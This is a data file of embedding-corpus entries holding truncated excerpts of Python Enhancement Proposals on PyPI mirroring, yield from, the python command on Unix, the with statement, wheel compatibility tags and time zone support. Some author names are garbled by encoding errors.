# embeddings

id: pep-0381.rst
content:
PEP: 381
Title: Mirroring infrastructure for PyPI
Author: Tarek ZiadÃ© <tarek@ziade.org>, Martin von LÃ¶wis <martin@v.loewis.de>
Status: Withdrawn
Type: Standards Track
Topic: Packaging
Created: 21-Mar-2009
Post-History:


Abstract
========

This PEP describes a mirroring infrastructure for PyPI.


PEP Withdrawal
==============

The main PyPI web service was moved behind the Fastly caching CDN in May 2013:
https://mail.python.org/pipermail/distutils-sig/2013-May/020848.html

Subsequently, this arrangement was formalised as an in-kind sponsorship with
the PSF, and the PSF has also taken on the task of risk management in the event
that that sponsorship arrangement were to ever cease.

The download statistics that were previously provided directly on PyPI, are now
published indirectly via Google Big Query:
https://packaging.python.org/guides/analyzing-pypi-package-downloads/

Accordingly, the mirroring proposal described in this PEP is no longer required,
and has been marked as Withdrawn.


Rationale
=========

PyPI is hosting over 6000 projects and is used on a daily basis
by people to build applications. Especially systems like ``easy_install``
and ``zc.buildout`` make intensive usage of PyPI.

For people making intensive use of PyPI, it can act as a single point
of failure.  People have started to set up some mirrors, both private
and public.  Those mirrors are active mirrors, which means that they
are browsing PyPI to get synced.

In order to make the system more reliable, this PEP describes:

- the mirror listing and registering at PyPI
- the pages a public mirror should maintain.  These pages will be used
  by PyPI, in order to get hit counts and the last modified date.
- how a mirror should synchronize with PyPI
- how a client can implement a fail-over mechanism


Mirror listing and registering
==============================

People that wants to mirror PyPI make a proposal on catalog-SIG.
When a mirror is proposed on the mailing list, it is manually
added in a mirror list in the PyPI application after it
has been checked to be compliant with the mirroring rules.

The mirror list is provided as a list of host names of the
form

    X.pypi.python.org

The values of X are the sequence a,b,c,...,aa,ab,...
a.pypi.python.org is the master server; the mirrors start
with b. A CNAME record last.pypi.python.org points to the
last host name. Mirror operators should use a static address,
and report planned changes to that address in advance to
distutils-sig.

The new mirror also appears at ``http://pypi.python.org/mirrors``
which is a human-readable page that gives the list of mirrors.
This page also explains how to register a new mirror.

Statistics page
:::::::::::::::

PyPI provides statistics on downloads at ``/stats``. This page is
calculated daily by PyPI, by reading all mirrors' local stats and
summing them.

The stats are presented in daily or monthly files, under ``/stats/days``
and ``/stats/months``. Each file is a ``bzip2`` file with these formats:

- YYYY-MM-DD.bz2 for daily files
- YYYY-MM.bz2 for monthly files

Examples:

- /stats/days/2008-11-06.bz2
- /stats/days/2008-11-07.bz2
- /stats/days/2008-11-08.bz2
- /stats/months/2008-11.bz2
- /stats/months/2008-10.bz2

Mirror Authenticity
===================

With a distributed mirroring system, clients may want to verify that
the mirrored copies are authentic. There are multiple threats to
consider:

1. the central index may get compromised
2. the central index is assumed to be trusted, but the mirrors might
   be tampered.
3. a man in the middle between the central index and the end user,
   or between a mirror and the end user might tamper with datagrams.

This specification only deals with the second threat. Some provisions
are made to detect man-in-the-middle attacks. To detect the first
attack, package authors need to sign their packages using PGP keys, so
that users verify that the package comes from the author they trust.

The central index provides a DSA key at the URL /serverkey, in the PEM
format as generated by "openssl dsa -pubout" (i.e. :rfc:`3280`
SubjectPublicKeyInfo, with the algorithm 1.3.14.3.2.12). This URL must
*not* be mirrored, and clients must fetch the official serverkey from
PyPI directly, or use the copy that came with the PyPI client software.
Mirrors should still download the key, to detect a key rollover.

For each package, a mirrored signature is provided at
/serversig/<package>. This is the DSA signature of the parallel URL
/simple/<package>, in DER form, using SHA-1 with DSA (i.e. as a
:rfc:`3279` Dsa-Sig-Value, created by algorithm 1.2.840.10040.4.3)

Clients using a mirror need to perform the following steps to verify
a package:

1. download the /simple page, and compute its SHA-1 hash
2. compute the DSA signature of that hash
3. download the corresponding /serversig, and compare it (byte-for-byte)
   with the value computed in step 2.
4. compute and verify (against the /simple page) the MD-5 hashes
   of all files they download from the mirror.

An implementation of the verification algorithm is available from
https://svn.python.org/packages/trunk/pypi/tools/verify.py

Verification is not needed when downloading from central index, and
should be avoided to reduce the computation overhead.

About once a year, the key will be replaced with a new one. Mirrors
will have to re-fetch all /serversig pages. Clients using mirrors need
to find a trusted copy of the new server key. One way to obtain one
is to download it from https://pypi.python.org/serverkey. To detect
man-in-the-middle attacks, clients need to verify the SSL server
certificate, which will be signed by the CACert authority.


Special pages a mirror needs to provide
=======================================

A mirror is a subset copy of PyPI, so it provides the same structure
by copying it.

- simple: rest version of the package index
- packages: packages, stored by Python version, and letters
- serversig: signatures for the simple pages

It also needs to provide two specific elements:

- last-modified
- local-stats

Last modified date
::::::::::::::::::

CPAN uses a freshness date system where the mirror's last
synchronisation date is made available.

For PyPI, each mirror needs to maintain a URL with simple text content
that represents the last synchronisation date the mirror maintains.

The date is provided in GMT time, using the ISO 8601 format [#iso8601]_.
Each mirror will be responsible to maintain its last modified date.

This page must be located at : ``/last-modified`` and must be a
text/plain page.

Local statistics
::::::::::::::::

Each mirror is responsible to count all the downloads that where done
via it.  This is used by PyPI to sum up all downloads, to be able to
display the grand total.

These statistics are in CSV-like form, with a header in the first
line.  It needs to obey :pep:`305`.  Basically, it should be
readable by Python's ``csv`` module.

The fields in this file are:

- package: the distutils id of the package.
- filename: the filename that has been downloaded.
- useragent: the User-Agent of the client that has downloaded the
  package.
- count: the number of downloads.

The content will look like this::

    # package,filename,useragent,count
    zc.buildout,zc.buildout-1.6.0.tgz,MyAgent,142
    ...

The counting starts the day the mirror is launched, and there is one
file per day, compressed using the ``bzip2`` format.  Each file is named
like the day.  For example, ``2008-11-06.bz2`` is the file for the 6th of
November 2008.

They are then provided in a folder called ``days``. For example:

- /local-stats/days/2008-11-06.bz2
- /local-stats/days/2008-11-07.bz2
- /local-stats/days/2008-11-08.bz2

This page must be located at ``/local-stats``.


How a mirror should synchronize with PyPI
=========================================

A mirroring protocol called ``Simple Index`` was described and
implemented by Martin v. Loewis and Jim Fulton, based on how
``easy_install`` works.  This


id: pep-0380.rst
content:
PEP: 380
Title: Syntax for Delegating to a Subgenerator
Author: Gregory Ewing <greg.ewing@canterbury.ac.nz>
Status: Final
Type: Standards Track
Created: 13-Feb-2009
Python-Version: 3.3
Post-History:
Resolution: https://mail.python.org/pipermail/python-dev/2011-June/112010.html


Abstract
========

A syntax is proposed for a generator to delegate part of its
operations to another generator.  This allows a section of code
containing 'yield' to be factored out and placed in another generator.
Additionally, the subgenerator is allowed to return with a value, and
the value is made available to the delegating generator.

The new syntax also opens up some opportunities for optimisation when
one generator re-yields values produced by another.

PEP Acceptance
==============

Guido officially `accepted the PEP`_ on 26th June, 2011.

.. _accepted the PEP: https://mail.python.org/pipermail/python-dev/2011-June/112010.html

Motivation
==========

A Python generator is a form of coroutine, but has the limitation that
it can only yield to its immediate caller.  This means that a piece of
code containing a ``yield`` cannot be factored out and put into a
separate function in the same way as other code.  Performing such a
factoring causes the called function to itself become a generator, and
it is necessary to explicitly iterate over this second generator and
re-yield any values that it produces.

If yielding of values is the only concern, this can be performed
without much difficulty using a loop such as

::

    for v in g:
        yield v

However, if the subgenerator is to interact properly with the caller
in the case of calls to ``send()``, ``throw()`` and ``close()``,
things become considerably more difficult.  As will be seen later, the
necessary code is very complicated, and it is tricky to handle all the
corner cases correctly.

A new syntax will be proposed to address this issue.  In the simplest
use cases, it will be equivalent to the above for-loop, but it will
also handle the full range of generator behaviour, and allow generator
code to be refactored in a simple and straightforward way.


Proposal
========

The following new expression syntax will be allowed in the body of a
generator:

::

    yield from <expr>

where <expr> is an expression evaluating to an iterable, from which an
iterator is extracted. The iterator is run to exhaustion, during which
time it yields and receives values directly to or from the caller of
the generator containing the ``yield from`` expression (the
"delegating generator").

Furthermore, when the iterator is another generator, the subgenerator
is allowed to execute a ``return`` statement with a value, and that
value becomes the value of the ``yield from`` expression.

The full semantics of the ``yield from`` expression can be described
in terms of the generator protocol as follows:

* Any values that the iterator yields are passed directly to the
  caller.

* Any values sent to the delegating generator using ``send()`` are
  passed directly to the iterator.  If the sent value is None, the
  iterator's ``__next__()`` method is called.  If the sent value
  is not None, the iterator's ``send()`` method is called.  If the
  call raises StopIteration, the delegating generator is resumed.
  Any other exception is propagated to the delegating generator.

* Exceptions other than GeneratorExit thrown into the delegating
  generator are passed to the ``throw()`` method of the iterator.
  If the call raises StopIteration, the delegating generator is
  resumed.  Any other exception is propagated to the delegating
  generator.

* If a GeneratorExit exception is thrown into the delegating
  generator, or the ``close()`` method of the delegating generator
  is called, then the ``close()`` method of the iterator is called
  if it has one. If this call results in an exception, it is
  propagated to the delegating generator.  Otherwise,
  GeneratorExit is raised in the delegating generator.

* The value of the ``yield from`` expression is the first argument
  to the ``StopIteration`` exception raised by the iterator when
  it terminates.

* ``return expr`` in a generator causes ``StopIteration(expr)`` to
  be raised upon exit from the generator.


Enhancements to StopIteration
-----------------------------

For convenience, the ``StopIteration`` exception will be given a
``value`` attribute that holds its first argument, or None if there
are no arguments.


Formal Semantics
----------------

Python 3 syntax is used in this section.

1. The statement ::

    RESULT = yield from EXPR

   is semantically equivalent to ::

    _i = iter(EXPR)
    try:
        _y = next(_i)
    except StopIteration as _e:
        _r = _e.value
    else:
        while 1:
            try:
                _s = yield _y
            except GeneratorExit as _e:
                try:
                    _m = _i.close
                except AttributeError:
                    pass
                else:
                    _m()
                raise _e
            except BaseException as _e:
                _x = sys.exc_info()
                try:
                    _m = _i.throw
                except AttributeError:
                    raise _e
                else:
                    try:
                        _y = _m(*_x)
                    except StopIteration as _e:
                        _r = _e.value
                        break
            else:
                try:
                    if _s is None:
                        _y = next(_i)
                    else:
                        _y = _i.send(_s)
                except StopIteration as _e:
                    _r = _e.value
                    break
    RESULT = _r


2. In a generator, the statement ::

    return value

   is semantically equivalent to ::

    raise StopIteration(value)

   except that, as currently, the exception cannot be caught by
   ``except`` clauses within the returning generator.

3. The StopIteration exception behaves as though defined thusly::

       class StopIteration(Exception):

           def __init__(self, *args):
               if len(args) > 0:
                   self.value = args[0]
               else:
                   self.value = None
               Exception.__init__(self, *args)


Rationale
=========

The Refactoring Principle
-------------------------

The rationale behind most of the semantics presented above stems from
the desire to be able to refactor generator code.  It should be
possible to take a section of code containing one or more ``yield``
expressions, move it into a separate function (using the usual
techniques to deal with references to variables in the surrounding
scope, etc.), and call the new function using a ``yield from``
expression.

The behaviour of the resulting compound generator should be, as far as
reasonably practicable, the same as the original unfactored generator
in all situations, including calls to ``__next__()``, ``send()``,
``throw()`` and ``close()``.

The semantics in cases of subiterators other than generators has been
chosen as a reasonable generalization of the generator case.

The proposed semantics have the following limitations with regard to
refactoring:

* A block of code that catches GeneratorExit without subsequently
  re-raising it cannot be factored out while retaining exactly the
  same behaviour.

* Factored code may not behave the same way as unfactored code if a
  StopIteration exception is thrown into the delegating generator.

With use cases for these being rare to non-existent, it was not
considered worth the extra complexity required to support them.


Finalization
------------

There was some debate as to whether explicitly finalizing the
delegating generator by calling its ``close()`` method while it is
suspended at a ``yield from`` should also finalize the subiterator.
An argument against doing so is that it would result in premature
finalization of the subiterator if references to it exist elsewhere


id: pep-0394.rst
content:
PEP: 394
Title: The "python" Command on Unix-Like Systems
Author: Kerrick Staley <mail@kerrickstaley.com>,
        Alyssa Coghlan <ncoghlan@gmail.com>,
        Barry Warsaw <barry@python.org>,
        Petr Viktorin <encukou@gmail.com>,
        Miro HronÄok <miro@hroncok.cz>,
        Carol Willing <willingc@gmail.com>,
Status: Active
Type: Informational
Created: 02-Mar-2011
Post-History: 04-Mar-2011, 20-Jul-2011, 16-Feb-2012, 30-Sep-2014, 28-Apr-2018,
              26-Jun-2019
Resolution: https://mail.python.org/pipermail/python-dev/2012-February/116594.html


Abstract
========

This PEP outlines the behavior of Python scripts when the ``python`` command
is invoked.
Depending on a distribution or system configuration,
``python`` may or may not be installed.
If ``python`` is installed its target interpreter may refer to ``python2``
or ``python3``.
End users may be unaware of this inconsistency across Unix-like systems.
This PEP's goal is to reduce user confusion about what ``python`` references
and what will be the script's behavior.

The recommendations in the next section of this PEP will outline the behavior
when:

* using virtual environments
* writing cross-platform scripts with shebangs for either ``python2`` or ``python3``

The PEP's goal is to clarify the behavior for script end users, distribution
providers, and script maintainers / authors.


Recommendation
==============


Our recommendations are detailed below.
We call out any expectations that these recommendations are based upon.

For Python runtime distributors
-------------------------------

* We expect Unix-like software distributions (including systems like macOS and
  Cygwin) to install the ``python2`` command into the default path
  whenever a version of the Python 2 interpreter is installed, and the same
  for ``python3`` and the Python 3 interpreter.
* When  invoked, ``python2`` should run some version of the Python 2
  interpreter, and ``python3`` should run some version of the Python 3
  interpreter.
* If the ``python`` command is installed, it is expected to invoke either
  the same version of Python as the ``python3`` command or as the ``python2``
  command.
* Distributors may choose to set the behavior of the ``python`` command
  as follows:

  * ``python2``,
  * ``python3``,
  * not provide ``python`` command,
    allow ``python`` to be configurable by an end user or
    a system administrator.

* The Python 3.x ``idle``, ``pydoc``, and ``python-config`` commands should
  likewise be available as ``idle3``, ``pydoc3``, and ``python3-config``;
  Python 2.x versions as ``idle2``, ``pydoc2``, and ``python2-config``.
  The commands with no version number should either invoke the same version
  of Python as the ``python`` command, or not be available at all.
* When packaging third party Python scripts, distributors are encouraged to
  change less specific shebangs to more specific ones.
  This ensures software is used with the latest version of Python available,
  and it can remove a dependency on Python 2.
  The details on what specifics to set are left to the distributors;
  though. Example specifics could include:

  * Changing ``python`` shebangs to ``python3`` when Python 3.x is supported.
  * Changing ``python`` shebangs to ``python2`` when Python 3.x is not yet
    supported.
  * Changing ``python3`` shebangs to ``python3.8`` if the software is built
    with Python 3.8.

* When a virtual environment (created by the :pep:`405` ``venv`` package or a
  similar tool such as ``virtualenv`` or ``conda``) is active, the ``python``
  command should refer to the virtual environment's interpreter and should
  always be available.
  The ``python3`` or ``python2`` command (according to the environment's
  interpreter version) should also be available.

For Python script publishers
----------------------------

* When reinvoking the interpreter from a Python script, querying
  ``sys.executable`` to avoid hardcoded assumptions regarding the
  interpreter location remains the preferred approach.
* Encourage your end users to use a virtual environment.
  This makes the user's environment more predictable (possibly resulting
  in fewer issues), and helps avoid disrupting their system.
* For scripts that are only expected to be run in an activated virtual
  environment, shebang lines can be written as ``#!/usr/bin/env python``,
  as this instructs the script to respect the active virtual environment.
* In cases where the script is expected to be executed outside virtual
  environments, developers will need to be aware of the following
  discrepancies across platforms and installation methods:

  * Older Linux distributions will provide a ``python`` command that
    refers to Python 2, and will likely not provide a ``python2`` command.
  * Some newer Linux distributions will provide a ``python`` command that
    refers to Python 3.
  * Some Linux distributions will not provide a ``python`` command at
    all by default, but will provide a ``python3`` command by default.

* When potentially targeting these environments, developers may either
  use a Python package installation tool that rewrites shebang lines for
  the installed environment, provide instructions on updating shebang lines
  interactively, or else use more specific shebang lines that are
  tailored to the target environment.
* Scripts targeting both â*old systems*â and systems without the default
  ``python`` command need to make a compromise and document this situation.
  Avoiding shebangs (via the console_scripts Entry Points ([9]_) or similar
  means) is the recommended workaround for this problem.
* Applications designed exclusively for a specific environment (such as
  a container or virtual environment) may continue to use the ``python``
  command name.

For end users of Python
-----------------------

* While far from being universally available, ``python`` remains the
  preferred spelling for explicitly invoking Python, as this is the
  spelling that virtual environments make consistently available
  across different platforms and Python installations.
* For software that is not distributed with (or developed for) your system,
  we recommend using a virtual environment, possibly with an environment
  manager like ``conda`` or ``pipenv``, to help avoid disrupting your system
  Python installation.


These recommendations are the outcome of the relevant python-dev discussions
in March and July 2011 ([1]_, [2]_), February 2012 ([4]_),
September 2014 ([6]_), discussion on GitHub in April 2018 ([7]_),
on python-dev in February 2019 ([8]_), and during the PEP update review
in May/June 2019 ([10]_).


History of this PEP
===================

In 2011, the majority of distributions
aliased the ``python`` command to Python 2, but some started switching it to
Python 3 ([5]_). As some of the former distributions did not provide a
``python2`` command by default, there was previously no way for Python 2 code
(or any code that invokes the Python 2 interpreter directly rather than via
``sys.executable``) to reliably run on all Unix-like systems without
modification, as the ``python`` command would invoke the wrong interpreter
version on some systems, and the ``python2`` command would fail completely
on others. This PEP originally provided a very simple mechanism
to restore cross-platform support, with minimal additional work required
on the part of distribution maintainers. Simplified, the recommendation was:

1. The ``python`` command was preferred for code compatible with both
   Python 2 and 3 (since it was available on all systems, even those that
   already aliased it to Python 3).
2. The ``python`` command should always invoke Python 2 (to prevent
   hard-to-diagnose errors when Python 2 code is run on Python 3).
3. The ``python2`` and ``python3`` commands should be available to specify
   the version explicitly.

However, these recommendations implicitly assumed that Python 2 would always be
available. As Python 2 is ne


id: pep-0343.rst
content:
PEP: 343
Title: The "with" Statement
Author: Guido van Rossum, Alyssa Coghlan
Status: Final
Type: Standards Track
Created: 13-May-2005
Python-Version: 2.5
Post-History: 02-Jun-2005, 16-Oct-2005, 29-Oct-2005, 23-Apr-2006, 01-May-2006,
              30-Jul-2006

Abstract
========

This PEP adds a new statement "with" to the Python language to make
it possible to factor out standard uses of ``try/finally`` statements.

In this PEP, context managers provide ``__enter__()`` and ``__exit__()``
methods that are invoked on entry to and exit from the body of the
with statement.

Author's Note
=============

This PEP was originally written in first person by Guido, and
subsequently updated by Alyssa (Nick) Coghlan to reflect later discussion
on python-dev. Any first person references are from Guido's
original.

Python's alpha release cycle revealed terminology problems in this
PEP and in the associated documentation and implementation [13]_.
The PEP stabilised around the time of the first Python 2.5 beta
release.

Yes, the verb tense is messed up in a few places. We've been
working on this PEP for over a year now, so things that were
originally in the future are now in the past :)

Introduction
============

After a lot of discussion about :pep:`340` and alternatives, I
decided to withdraw :pep:`340` and proposed a slight variant on PEP
310.  After more discussion, I have added back a mechanism for
raising an exception in a suspended generator using a ``throw()``
method, and a ``close()`` method which throws a new GeneratorExit
exception; these additions were first proposed on python-dev in
[2]_ and universally approved of.  I'm also changing the keyword to
'with'.

After acceptance of this PEP, the following PEPs were rejected due
to overlap:

- :pep:`310`, Reliable Acquisition/Release Pairs.  This is the
  original with-statement proposal.

- :pep:`319`, Python Synchronize/Asynchronize Block.  Its use cases
  can be covered by the current PEP by providing suitable
  with-statement controllers: for 'synchronize' we can use the
  "locking" template from example 1; for 'asynchronize' we can use
  a similar "unlocking" template.  I don't think having an
  "anonymous" lock associated with a code block is all that
  important; in fact it may be better to always be explicit about
  the mutex being used.

:pep:`340` and :pep:`346` also overlapped with this PEP, but were
voluntarily withdrawn when this PEP was submitted.

Some discussion of earlier incarnations of this PEP took place on
the Python Wiki [3]_.

Motivation and Summary
======================

:pep:`340`, Anonymous Block Statements, combined many powerful ideas:
using generators as block templates, adding exception handling and
finalization to generators, and more.  Besides praise it received
a lot of opposition from people who didn't like the fact that it
was, under the covers, a (potential) looping construct.  This
meant that break and continue in a block-statement would break or
continue the block-statement, even if it was used as a non-looping
resource management tool.

But the final blow came when I read Raymond Chen's rant about
flow-control macros [1]_.  Raymond argues convincingly that hiding
flow control in macros makes your code inscrutable, and I find
that his argument applies to Python as well as to C.  I realized
that :pep:`340` templates can hide all sorts of control flow; for
example, its example 4 (``auto_retry()``) catches exceptions and
repeats the block up to three times.

However, the with-statement of :pep:`310` does **not** hide control
flow, in my view: while a finally-suite temporarily suspends the
control flow, in the end, the control flow resumes as if the
finally-suite wasn't there at all.

Remember, :pep:`310` proposes roughly this syntax (the "VAR =" part is
optional)::

    with VAR = EXPR:
        BLOCK

which roughly translates into this::

    VAR = EXPR
    VAR.__enter__()
    try:
        BLOCK
    finally:
        VAR.__exit__()

Now consider this example::

    with f = open("/etc/passwd"):
        BLOCK1
    BLOCK2

Here, just as if the first line was "if True" instead, we know
that if ``BLOCK1`` completes without an exception, BLOCK2 will be
reached; and if ``BLOCK1`` raises an exception or executes a non-local
goto (a break, continue or return), ``BLOCK2`` is **not** reached.  The
magic added by the with-statement at the end doesn't affect this.

(You may ask, what if a bug in the ``__exit__()`` method causes an
exception?  Then all is lost -- but this is no worse than with
other exceptions; the nature of exceptions is that they can happen
**anywhere**, and you just have to live with that.  Even if you
write bug-free code, a KeyboardInterrupt exception can still cause
it to exit between any two virtual machine opcodes.)

This argument almost led me to endorse :pep:`310`, but I had one idea
left from the :pep:`340` euphoria that I wasn't ready to drop: using
generators as "templates" for abstractions like acquiring and
releasing a lock or opening and closing a file is a powerful idea,
as can be seen by looking at the examples in that PEP.

Inspired by a counter-proposal to :pep:`340` by Phillip Eby I tried
to create a decorator that would turn a suitable generator into an
object with the necessary ``__enter__()`` and ``__exit__()`` methods.
Here I ran into a snag: while it wasn't too hard for the locking
example, it was impossible to do this for the opening example.
The idea was to define the template like this::

    @contextmanager
    def opening(filename):
        f = open(filename)
        try:
            yield f
        finally:
            f.close()

and used it like this::

    with f = opening(filename):
        ...read data from f...

The problem is that in :pep:`310`, the result of calling ``EXPR`` is
assigned directly to ``VAR``, and then ``VAR``'s ``__exit__()`` method is
called upon exit from ``BLOCK1``.  But here, ``VAR`` clearly needs to
receive the opened file, and that would mean that ``__exit__()`` would
have to be a method on the file.

While this can be solved using a proxy class, this is awkward and
made me realize that a slightly different translation would make
writing the desired decorator a piece of cake: let ``VAR`` receive the
result from calling the ``__enter__()`` method, and save the value of
``EXPR`` to call its ``__exit__()`` method later.  Then the decorator can
return an instance of a wrapper class whose ``__enter__()`` method
calls the generator's ``next()`` method and returns whatever ``next()``
returns; the wrapper instance's ``__exit__()`` method calls ``next()``
again but expects it to raise StopIteration.  (Details below in
the section Optional Generator Decorator.)

So now the final hurdle was that the :pep:`310` syntax::

    with VAR = EXPR:
        BLOCK1

would be deceptive, since ``VAR`` does **not** receive the value of
``EXPR``.  Borrowing from :pep:`340`, it was an easy step to::

    with EXPR as VAR:
        BLOCK1

Additional discussion showed that people really liked being able
to "see" the exception in the generator, even if it was only to
log it; the generator is not allowed to yield another value, since
the with-statement should not be usable as a loop (raising a
different exception is marginally acceptable).  To enable this, a
new ``throw()`` method for generators is proposed, which takes one to
three arguments representing an exception in the usual fashion
(type, value, traceback) and raises it at the point where the
generator is suspended.

Once we have this, it is a small step to proposing another
generator method, ``close()``, which calls ``throw()`` with a special
exception, ``GeneratorExit``.  This tells the generator to exit, and
from there it's another small step to proposing that ``close()`` be
called automatically when the generator is garbage-collected.

Then, finally, we can allow a yield-statement inside a try-finally
statement, since we can now guarantee that the finally-clause will
(eventuall


id: pep-0425.rst
content:
PEP: 425
Title: Compatibility Tags for Built Distributions
Author: Daniel Holth <dholth@gmail.com>
BDFL-Delegate: Alyssa Coghlan <ncoghlan@gmail.com>
Status: Final
Type: Standards Track
Topic: Packaging
Created: 27-Jul-2012
Python-Version: 3.4
Post-History: 08-Aug-2012, 18-Oct-2012, 15-Feb-2013
Resolution: https://mail.python.org/pipermail/python-dev/2013-February/124116.html


.. canonical-pypa-spec:: :ref:`packaging:platform-compatibility-tags`


Abstract
========

This PEP specifies a tagging system to indicate with which versions of
Python a built or binary distribution is compatible.  A set of three
tags indicate which Python implementation and language version, ABI,
and platform a built distribution requires.  The tags are terse because
they will be included in filenames.


PEP Acceptance
==============

This PEP was accepted by Alyssa Coghlan on 17th February, 2013.


Rationale
=========

Today "python setup.py bdist" generates the same filename on PyPy
and CPython, but an incompatible archive, making it inconvenient to
share built distributions in the same folder or index.  Instead, built
distributions should have a file naming convention that includes enough
information to decide whether or not a particular archive is compatible
with a particular implementation.

Previous efforts come from a time where CPython was the only important
implementation and the ABI was the same as the Python language release.
This specification improves upon the older schemes by including the Python
implementation, language version, ABI, and platform as a set of tags.

By comparing the tags it supports with the tags listed by the
distribution, an installer can make an educated decision about whether
to download a particular built distribution without having to read its
full metadata.

Overview
========

The tag format is {python tag}-{abi tag}-{platform tag}

python tag
    âpy27â, âcp33â
abi tag
    âcp32dmuâ, ânoneâ
platform tag
    âlinux_x86_64â, âanyâ

For example, the tag py27-none-any indicates compatible with Python 2.7
(any Python 2.7 implementation) with no abi requirement, on any platform.

Use
===

The ``wheel`` built package format includes these tags in its filenames,
of the form ``{distribution}-{version}(-{build tag})?-{python tag}-{abi
tag}-{platform tag}.whl``.  Other package formats may have their own
conventions.

Details
=======

Python Tag
----------

The Python tag indicates the implementation and version required by
a distribution.  Major implementations have abbreviated codes, initially:

* py: Generic Python (does not require implementation-specific features)
* cp: CPython
* ip: IronPython
* pp: PyPy
* jy: Jython

Other Python implementations should use ``sys.implementation.name``.

The version is ``py_version_nodot``.  CPython gets away with no dot,
but if one is needed the underscore ``_`` is used instead.  PyPy should
probably use its own versions here ``pp18``, ``pp19``.

The version can be just the major version ``2`` or ``3`` ``py2``, ``py3`` for
many pure-Python distributions.

Importantly, major-version-only tags like ``py2`` and ``py3`` are not
shorthand for ``py20`` and ``py30``.  Instead, these tags mean the packager
intentionally released a cross-version-compatible distribution.

A single-source Python 2/3 compatible distribution can use the compound
tag ``py2.py3``.  See ``Compressed Tag Sets``, below.

ABI Tag
-------

The ABI tag indicates which Python ABI is required by any included
extension modules.  For implementation-specific ABIs, the implementation
is abbreviated in the same way as the Python Tag, e.g. ``cp33d`` would be
the CPython 3.3 ABI with debugging.

The CPython stable ABI is ``abi3`` as in the shared library suffix.

Implementations with a very unstable ABI may use the first 6 bytes (as
8 base64-encoded characters) of the SHA-256 hash of their source code
revision and compiler flags, etc, but will probably not have a great need
to distribute binary distributions. Each implementation's community may
decide how to best use the ABI tag.

Platform Tag
------------

The platform tag is simply ``distutils.util.get_platform()`` with all
hyphens ``-`` and periods ``.`` replaced with underscore ``_``.

* win32
* linux_i386
* linux_x86_64

Use
===

The tags are used by installers to decide which built distribution
(if any) to download from a list of potential built distributions.
The installer maintains a list of (pyver, abi, arch) tuples that it
will support.  If the built distribution's tag is ``in`` the list, then
it can be installed.

It is recommended that installers try to choose the most feature complete
built distribution available (the one most specific to the installation
environment) by default before falling back to pure Python versions
published for older Python releases. Installers are also recommended to
provide a way to configure and re-order the list of allowed compatibility
tags; for example, a user might accept only the ``*-none-any`` tags to only
download built packages that advertise themselves as being pure Python.

Another desirable installer feature might be to include "re-compile from
source if possible" as more preferable than some of the compatible but
legacy pre-built options.

This example list is for an installer running under CPython 3.3 on a
linux_x86_64 system. It is in order from most-preferred (a distribution
with a compiled extension module, built for the current version of
Python) to least-preferred (a pure-Python distribution built with an
older version of Python):

1.  cp33-cp33m-linux_x86_64
2.  cp33-abi3-linux_x86_64
3.  cp3-abi3-linux_x86_64
4.  cp33-none-linux_x86_64*
5.  cp3-none-linux_x86_64*
6.  py33-none-linux_x86_64*
7.  py3-none-linux_x86_64*
8.  cp33-none-any
9.  cp3-none-any
10.  py33-none-any
11.  py3-none-any
12.  py32-none-any
13.  py31-none-any
14.  py30-none-any

* Built distributions may be platform specific for reasons other than C
  extensions, such as by including a native executable invoked as
  a subprocess.

Sometimes there will be more than one supported built distribution for a
particular version of a package.  For example, a packager could release
a package tagged ``cp33-abi3-linux_x86_64`` that contains an optional C
extension and the same distribution tagged ``py3-none-any`` that does not.
The index of the tag in the supported tags list breaks the tie, and the
package with the C extension is installed in preference to the package
without because that tag appears first in the list.

Compressed Tag Sets
===================

To allow for compact filenames of bdists that work with more than
one compatibility tag triple, each tag in a filename can instead be a
'.'-separated, sorted, set of tags.  For example, pip, a pure-Python
package that is written to run under Python 2 and 3 with the same source
code, could distribute a bdist with the tag ``py2.py3-none-any``.
The full list of simple tags is::

    for x in pytag.split('.'):
        for y in abitag.split('.'):
            for z in archtag.split('.'):
                yield '-'.join((x, y, z))

A bdist format that implements this scheme should include the expanded
tags in bdist-specific metadata.  This compression scheme can generate
large numbers of unsupported tags and "impossible" tags that are supported
by no Python implementation e.g. "cp33-cp31u-win64", so use it sparingly.

FAQ
===

What tags are used by default?
    Tools should use the most-preferred architecture dependent tag
    e.g. ``cp33-cp33m-win32`` or the most-preferred pure python tag
    e.g. ``py33-none-any`` by default.  If the packager overrides the
    default it indicates that they intended to provide cross-Python
    compatibility.

What tag do I use if my distribution uses a feature exclusive to the newest version of Python?
    Compatibility tags aid installers in selecting the *most compatible*
    build of a *single version* of a distribution. For example, when
    there is no Python 3.3 compatible bu


id: pep-0431.rst
content:
PEP: 431
Title: Time zone support improvements
Author: Lennart Regebro <regebro@gmail.com>
BDFL-Delegate: Barry Warsaw <barry@python.org>
Status: Superseded
Type: Standards Track
Created: 11-Dec-2012
Post-History: 11-Dec-2012, 28-Dec-2012, 28-Jan-2013
Superseded-By: 615


Abstract
========

This PEP proposes the implementation of concrete time zone support in the
Python standard library, and also improvements to the time zone API to deal
with ambiguous time specifications during DST changes.


Withdrawal
==========

After lengthy discussion it has turned out that the things I thought was
problem in datetime's implementation are intentional. Those include
completely ignoring DST transitions when making date time arithmetic.
That makes the is_dst flags part of this PEP pointless, as they would
have no useful function. ``datetime`` by design does not separate between
ambiguous datetimes and will never do so.

I therefore withdraw this PEP.

**UPDATE**: The :pep:`615` "Support for the IANA Time Zone Database in the
Standard Library" added the ``zoneinfo`` module to Python 3.9 and
superseded this PEP.


Proposal
========

Concrete time zone support
--------------------------

The time zone support in Python has no concrete implementation in the
standard library outside of a tzinfo baseclass that supports fixed offsets.
To properly support time zones you need to include a database over all time
zones, both current and historical, including daylight saving changes.
But such information changes frequently, so even if we include the last
information in a Python release, that information would be outdated just a
few months later.

Time zone support has therefore only been available through two third-party
modules, ``pytz`` and ``dateutil``, both who include and wrap the "zoneinfo"
database. This database, also called "tz" or "The Olsen database", is the
de facto standard time zone database over time zones, and it is included in
most Unix and Unix-like operating systems, including OS X.

This gives us the opportunity to include the code that supports the zoneinfo
data in the standard library, but by default use the operating system's copy
of the data, which typically will be kept updated by the updating mechanism
of the operating system or distribution.

For those who have an operating system that does not include the zoneinfo
database, for example Windows, the Python source distribution will include a
copy of the zoneinfo database, and a distribution containing the latest
zoneinfo database will also be available at the Python Package Index, so it
can be easily installed with the Python packaging tools such as
``easy_install`` or ``pip``. This could also be done on Unices that are no
longer receiving updates and therefore have an outdated database.

With such a mechanism Python would have full-time zone support in the
standard library on any platform, and a simple package installation would
provide an updated time zone database on those platforms where the zoneinfo
database isn't included, such as Windows, or on platforms where OS updates
